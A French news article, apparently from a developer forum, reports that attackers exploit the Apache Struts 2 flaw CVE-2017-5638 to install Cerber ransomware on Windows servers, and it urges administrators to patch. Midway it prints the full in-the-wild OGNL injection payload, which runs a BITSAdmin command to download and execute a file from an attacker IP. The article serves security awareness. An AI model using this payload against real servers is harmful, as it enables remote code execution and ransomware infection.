Les serveurs Windows seraient la cible du ransomware Cerber installé grâce à une faille sur Apache Strusts 2
selon le SANS Internet Storm Center

Les chercheurs en sécurité du SANS Internet Storm Center viennent d'annoncer au public que la vulnérabilité critique CVE-2017-5638 présente dans la version 2 du framework open source Apache Struts a été exploitée par des attaquants. Selon les chercheurs, des pirates ont réussi à exploiter cette faille et ont par la suite réussi à installer un redoutable ransomware dénommé Cerber sur des serveurs qui tournent sous Windows, cela malgré qu'un patch permettant de corriger la faille ait été publié il y a un peu plus d'un mois dans les versions 2.3.32 et 2.5.10.1 d'Apache Struts. Les experts en sécurité affirment que l'exploitation de la faille CVE-2017-5638 permettrait aux attaquants d'exécuter à distance du code malveillant sur les serveurs Web ciblés. Ils ajoutent également que plusieurs attaques ont déjà été commises via une exploitation de cette faille, cela en se servant de portes dérobées (backdoors). Les serveurs dont les administrateurs n'ont pas encore appliqué le correctif seraient actuellement les cibles de ces attaques.

Rappelons qu'Apache Struts est un framework libre servant au développement d'applications Web Java EE. Il utilise et étend l'API Servlet Java dans l'optique d'encourager les développeurs à adopter l'architecture Modèle-Vue-Contrôleur (MVC). Quant au ransomware Cerber, il est apparu en 2016 et est considéré comme un virus informatique malveillant qui se sert de l'algorithme de chiffrement AES (Advanced Encryption Standard) pour chiffrer les fichiers des victimes.

D'après les informations fournies par le SANS Internet Storm Center, le script utilisé par les attaquants pour commettre leur forfait se présente comme suit :

Code java : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
 
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='BITSAdmin.exe /Transfer JOB hxxp://82[.]165[.]129[.]119/UnInstall.exe %TEMP%/UnInstall.exe & %TEMP%/UnInstall.exe').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

À en croire les chercheurs en sécurité, le script se sert de l'outil de ligne de commande BITSAdmin pour télécharger le logiciel malveillant qui apparaît sous le nom uninstall.exe. Une fois téléchargé, ce dernier est automatiquement logé dans le répertoire %TEMP%. À la suite de cette étape, uninstall.exe est automatiquement exécuté et installé, cela à l'insu de l'utilisateur.

Les attaquants, une fois leur forfait accompli, vont demander une rançon. « Le logiciel malveillant se connecte à btc.blockr.io pour récupérer une liste de portefeuilles Bitcoin afin de procéder à des transferts d'argent. Les fichiers cryptés seront aléatoirement renommés et auront comme extension .cerber », a déclaré le SANS Internet Storm Center.


Par mesure de sécurité, les administrateurs qui n'ont pas encore fait la mise à jour de leur framework Apache Struts sont invités à le faire dans les plus brefs délais.

Source : SANS Internet Storm Center

Et vous ?

Que pensez-vous de cette vulnérabilité ?

Avez-vous déjà mis à jour votre version d'Apache Struts ?